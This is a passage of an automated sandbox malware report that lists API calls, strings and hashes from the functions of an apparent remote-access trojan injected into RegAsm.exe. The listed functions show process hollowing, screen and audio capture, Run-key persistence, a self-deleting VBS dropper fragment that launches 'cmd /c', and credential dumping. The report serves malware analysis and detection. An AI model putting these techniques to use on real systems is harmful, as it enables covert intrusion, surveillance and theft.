                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLast$EnumLocalesSystem_abort_free
                        • String ID:
                        • API String ID: 1084509184-0
                        • Opcode ID: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                        • Instruction ID: 7090a925995da140c065d9916092b781359a33e81ca1c933e4536b6f4f09cf03
                        • Opcode Fuzzy Hash: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                        • Instruction Fuzzy Hash: A7F0203674020597CB04AF75C809B6A7F90EBC272AB06009AEE058B662C7799842C754
                        Function 0040F8D1 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                        Download Yara Rule
                        APIs
                        • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004154FC,00474EE0,00475A00,00474EE0,00000000,00474EE0,00000000,00474EE0,5.0.0 Pro), ref: 0040F8E5
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: InfoLocale
                        • String ID:
                        • API String ID: 2299586839-0
                        • Opcode ID: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                        • Instruction ID: 54543d52817102a935349e0949155b160d3bd36039d058f0142c014f19b14c2e
                        • Opcode Fuzzy Hash: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                        • Instruction Fuzzy Hash: D5D05B3074421C77D61096959D0AEAA779CD701B52F0001A6BB05D72C0D9E15E0087D1
                        Function 00418E76 Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 328windowmemoryCOMMON
                        Download Yara Rule
                        APIs
                        • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418E90
                        • CreateCompatibleDC.GDI32(00000000), ref: 00418E9D
                          • Part of subcall function 00419325: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419355
                        • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F13
                        • DeleteDC.GDI32(00000000), ref: 00418F2A
                        • DeleteDC.GDI32(00000000), ref: 00418F2D
                        • DeleteObject.GDI32(00000000), ref: 00418F30
                        • SelectObject.GDI32(00000000,00000000), ref: 00418F51
                        • DeleteDC.GDI32(00000000), ref: 00418F62
                        • DeleteDC.GDI32(00000000), ref: 00418F65
                        • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418F89
                        • GetIconInfo.USER32 ref: 00418FBD
                        • DeleteObject.GDI32(?), ref: 00418FEC
                        • DeleteObject.GDI32(?), ref: 00418FF9
                        • DrawIcon.USER32(00000000,?,?,?), ref: 00419006
                        • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 0041903C
                        • GetObjectA.GDI32(00000000,00000018,?), ref: 00419068
                        • LocalAlloc.KERNEL32(00000040,00000001), ref: 004190D5
                        • GlobalAlloc.KERNEL32(00000000,?), ref: 00419144
                        • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419168
                        • DeleteDC.GDI32(?), ref: 0041917C
                        • DeleteDC.GDI32(00000000), ref: 0041917F
                        • DeleteObject.GDI32(00000000), ref: 00419182
                        • GlobalFree.KERNEL32(?), ref: 0041918D
                        • DeleteObject.GDI32(00000000), ref: 00419241
                        • GlobalFree.KERNEL32(?), ref: 00419248
                        • DeleteDC.GDI32(?), ref: 00419258
                        • DeleteDC.GDI32(00000000), ref: 00419263
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIcon$BitmapBitsDisplayDrawEnumInfoLocalSelectSettingsStretch
                        • String ID: DISPLAY
                        • API String ID: 479521175-865373369
                        • Opcode ID: fd3515ee385558d8e943bffbf3e4feffdcfed35a1f0292415d45ed89f267a670
                        • Instruction ID: c224b28d618b709f2792c20de920cdabb9de4a917dc726d0ffe82d87ba3e906a
                        • Opcode Fuzzy Hash: fd3515ee385558d8e943bffbf3e4feffdcfed35a1f0292415d45ed89f267a670
                        • Instruction Fuzzy Hash: 75C14C71508301AFD720DF25DC44BABBBE9EB88715F00482EF98993291DB74ED45CB6A
                        Function 004180EF Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 289libraryloaderthreadCOMMON
                        Download Yara Rule
                        APIs
                        • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
                        • GetProcAddress.KERNEL32(00000000), ref: 00418139
                        • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
                        • GetProcAddress.KERNEL32(00000000), ref: 0041814D
                        • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
                        • GetProcAddress.KERNEL32(00000000), ref: 00418161
                        • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
                        • GetProcAddress.KERNEL32(00000000), ref: 00418175
                        • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
                        • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
                        • GetThreadContext.KERNEL32(?,00000000), ref: 00418245
                        • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0041826B
                        • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004182ED
                        • TerminateProcess.KERNEL32(?,00000000), ref: 00418301
                        • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418341
                        • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041840B
                        • SetThreadContext.KERNEL32(?,00000000), ref: 00418428
                        • ResumeThread.KERNEL32(?), ref: 00418435
                        • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041844C
                        • GetCurrentProcess.KERNEL32(?), ref: 00418457
                        • TerminateProcess.KERNEL32(?,00000000), ref: 00418472
                        • GetLastError.KERNEL32 ref: 0041847A
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                        • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                        • API String ID: 4188446516-3035715614
                        • Opcode ID: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                        • Instruction ID: 216cb1b436b1bb1c0a39989cd20dfb1fea14fcd849b5832ba41dfff5d3f22c39
                        • Opcode Fuzzy Hash: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                        • Instruction Fuzzy Hash: EDA16E70604305AFDB208F64CC85BAB7BE8FF48705F04482EF595D6291EB78D844CB1A
                        Function 0040D420 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                          • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                        • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D51D
                        • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D530
                        • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D549
                        • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D579
                          • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                          • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                          • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(Function_0000A267,00000000,?,pth_unenc), ref: 0040B8D5
                          • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D7C4
                        • ExitProcess.KERNEL32 ref: 0040D7D0
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                        • String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                        • API String ID: 1861856835-332907002
                        • Opcode ID: e9f8996b9413f065d588b702d7c496c9e290e02a5e9f4f4bb55cf67c86df2bed
                        • Instruction ID: f0dedf37b1d13a6a68a2ae87fd6fc042f686ba0b246118386f774540a9e6bc24
                        • Opcode Fuzzy Hash: e9f8996b9413f065d588b702d7c496c9e290e02a5e9f4f4bb55cf67c86df2bed
                        • Instruction Fuzzy Hash: 2191A4716082005AC315FB62D8529AFB7A9AF91309F10443FB14AA71E3FF7C9D49C65E
                        Function 0040D096 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                          • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                        • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1A5
                        • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1B8
                        • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E8
                        • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1F7
                          • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                          • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                          • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(Function_0000A267,00000000,?,pth_unenc), ref: 0040B8D5
                          • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,638C1986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D412
                        • ExitProcess.KERNEL32 ref: 0040D419
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                        • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
                        • API String ID: 3797177996-2557013105
                        • Opcode ID: 622902c84db1d26943d281a003d45daafdd4eec93442fd148fd25107dc5c202e
                        • Instruction ID: d7bb7cf55c4450259501d0c3086a2d123ad94ece798773e978a9ab54bd012bbb
                        • Opcode Fuzzy Hash: 622902c84db1d26943d281a003d45daafdd4eec93442fd148fd25107dc5c202e
                        • Instruction Fuzzy Hash: 9081B0716082005BC715FB62D8529AF77A8AFD1308F10483FB586A71E2EF7C9E49C65E
                        Function 00412475 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                        Download Yara Rule
                        APIs
                        • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 00412494
                        • ExitProcess.KERNEL32(00000000), ref: 004124A0
                        • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041251A
                        • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412529
                        • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412534
                        • CloseHandle.KERNEL32(00000000), ref: 0041253B
                        • GetCurrentProcessId.KERNEL32 ref: 00412541
                        • PathFileExistsW.SHLWAPI(?), ref: 00412572
                        • GetTempPathW.KERNEL32(00000104,?), ref: 004125D5
                        • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 004125EF
                        • lstrcatW.KERNEL32 ref: 00412601
                          • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                        • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00412641
                        • Sleep.KERNEL32(000001F4), ref: 00412682
                        • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412697
                        • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126A2
                        • CloseHandle.KERNEL32(00000000), ref: 004126A9
                        • GetCurrentProcessId.KERNEL32 ref: 004126AF
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                        • String ID: .exe$8SG$WDH$exepath$open$temp_
                        • API String ID: 2649220323-436679193
                        • Opcode ID: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                        • Instruction ID: 17e21f0bcac096b9b94ced5306d028ab2385f4d1d2402c2ee3c492442eb82615
                        • Opcode Fuzzy Hash: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                        • Instruction Fuzzy Hash: 4651B371A00315BBDB10ABA09C9AEFE336D9B04715F10406BF502E71D2EFBC8E85865D
                        Function 0041B047 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                        Download Yara Rule
                        APIs
                        • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B13C
                        • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B150
                        • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B178
                        • PathFileExistsW.SHLWAPI(00000000), ref: 0041B18E
                        • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B1CF
                        • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B1E7
                        • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B1FC
                        • SetEvent.KERNEL32 ref: 0041B219
                        • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B22A
                        • CloseHandle.KERNEL32 ref: 0041B23A
                        • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B25C
                        • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B266
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                        • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                        • API String ID: 738084811-2094122233
                        • Opcode ID: 3185081fef31f50e7fd3d82a9eeabdb956d7aa56e174b345bc10df65dc5ab0bc
                        • Instruction ID: fe650b41180b39ed17604f18bcb9a712e211fca36760164052b554565c231c06
                        • Opcode Fuzzy Hash: 3185081fef31f50e7fd3d82a9eeabdb956d7aa56e174b345bc10df65dc5ab0bc
                        • Instruction Fuzzy Hash: 0351A3B12842056AD314B771DC96ABF379CDB84358F10043FB64A521E2EF788D48CA6E
                        Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                        Download Yara Rule
                        APIs
                        • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                        • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                        • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                        • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                        • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                        • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                        • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                        • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                        • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                        • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                        • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                        • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                        • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                        • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$Write$Create
                        • String ID: RIFF$WAVE$data$fmt
                        • API String ID: 1602526932-4212202414
                        • Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                        • Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
                        • Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                        • Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3
                        Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                        Download Yara Rule
                        APIs
                        • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000001,0040764D,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000003,00407675,004752D8,004076CE), ref: 00407284
                        • GetProcAddress.KERNEL32(00000000), ref: 0040728D
                        • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
                        • GetProcAddress.KERNEL32(00000000), ref: 004072A5
                        • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
                        • GetProcAddress.KERNEL32(00000000), ref: 004072B9
                        • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
                        • GetProcAddress.KERNEL32(00000000), ref: 004072CD
                        • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
                        • GetProcAddress.KERNEL32(00000000), ref: 004072E1
                        • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
                        • GetProcAddress.KERNEL32(00000000), ref: 004072F5
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: AddressHandleModuleProc
                        • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                        • API String ID: 1646373207-255920310
                        • Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                        • Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
                        • Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                        • Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D
                        Function 0040CDF9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON
                        Download Yara Rule
                        APIs
                        • _wcslen.LIBCMT ref: 0040CE07
                        • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE20
                        • CopyFileW.KERNEL32 ref: 0040CED0
                        • _wcslen.LIBCMT ref: 0040CEE6
                        • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CF6E
                        • CopyFileW.KERNEL32 ref: 0040CF84
                        • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFC3
                        • _wcslen.LIBCMT ref: 0040CFC6
                        • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFDD
                        • CloseHandle.KERNEL32 ref: 0040D02D
                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000001), ref: 0040D04B
                        • ExitProcess.KERNEL32 ref: 0040D062
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                        • String ID: 6$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$del$open
                        • API String ID: 1579085052-2309681474
                        • Opcode ID: 13f7aa7ccb2e11be31f7ad96e96a4d93445e7550d40e25192285b95e595fa052
                        • Instruction ID: 6918cae47ac4af68ec004dabb58255b0e3542cbe00f5913d2fcd66cab837b2ae
                        • Opcode Fuzzy Hash: 13f7aa7ccb2e11be31f7ad96e96a4d93445e7550d40e25192285b95e595fa052
                        • Instruction Fuzzy Hash: CA51A620208302ABD605B7659C92A6F679D9F84719F10443FF609A62E3EFBC9D05866E
                        Function 0041C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                        Download Yara Rule
                        APIs
                        • lstrlenW.KERNEL32(?), ref: 0041C036
                        • _memcmp.LIBVCRUNTIME ref: 0041C04E
                        • lstrlenW.KERNEL32(?), ref: 0041C067
                        • FindFirstVolumeW.KERNEL32 ref: 0041C0A2
                        • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C0B5
                        • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C0F9
                        • lstrcmpW.KERNEL32(?,?), ref: 0041C114
                        • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C12C
                        • _wcslen.LIBCMT ref: 0041C13B
                        • FindVolumeClose.KERNEL32 ref: 0041C15B
                        • GetLastError.KERNEL32 ref: 0041C173
                        • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C1A0
                        • lstrcatW.KERNEL32 ref: 0041C1B9
                        • lstrcpyW.KERNEL32(?,?), ref: 0041C1C8
                        • GetLastError.KERNEL32 ref: 0041C1D0
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                        • String ID: ?
                        • API String ID: 3941738427-1684325040
                        • Opcode ID: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                        • Instruction ID: a349862c8cee18361e8dc915c9858c0b302c9409c899df8dda18ff866c7f94c5
                        • Opcode Fuzzy Hash: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                        • Instruction Fuzzy Hash: 8B416171584316EBD720DFA0DC889EB77ECAB49755F00092BF545C2261EB78C988CBDA
                        Function 00412AB4 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                        Download Yara Rule
                        APIs
                        • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412ACD
                          • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,638C1986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                          • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                          • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                        • Sleep.KERNEL32(0000000A,00465E74), ref: 00412C1F
                        • Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412CC1
                        • Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412D63
                        • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DC5
                        • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DFC
                        • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412E38
                        • Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412E52
                        • Sleep.KERNEL32(00000064), ref: 00412E94
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                        • String ID: /stext "$0TG$0TG$NG$NG
                        • API String ID: 1223786279-2576077980
                        • Opcode ID: 89d1699e6d7c756e3bbe6eba3beddd77d66d6b2828719220647806e229e7841a
                        • Instruction ID: 3b0169c2c8bc9f0d695cedb60fdc7b81a1931596247e975dd6f1dc47d42db627
                        • Opcode Fuzzy Hash: 89d1699e6d7c756e3bbe6eba3beddd77d66d6b2828719220647806e229e7841a
                        • Instruction Fuzzy Hash: 990255311083418AC325FB62D851AEFB3E5AFD4348F50483EF58A971E2EF785A49C65A
                        Function 0044F42D Relevance: 24.4, APIs: 16, Instructions: 419COMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$EnvironmentVariable
                        • String ID:
                        • API String ID: 1464849758-0
                        • Opcode ID: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                        • Instruction ID: f75d98bba309171a1893162bbba9979c566f834f65d54a181aa040c21db392b6
                        • Opcode Fuzzy Hash: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                        • Instruction Fuzzy Hash: C4D13672D007006BFB20AF799D81A6B77A4EF01318F05427FE919A7382EB3D99058799
                        Function 0041C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                        Download Yara Rule
                        APIs
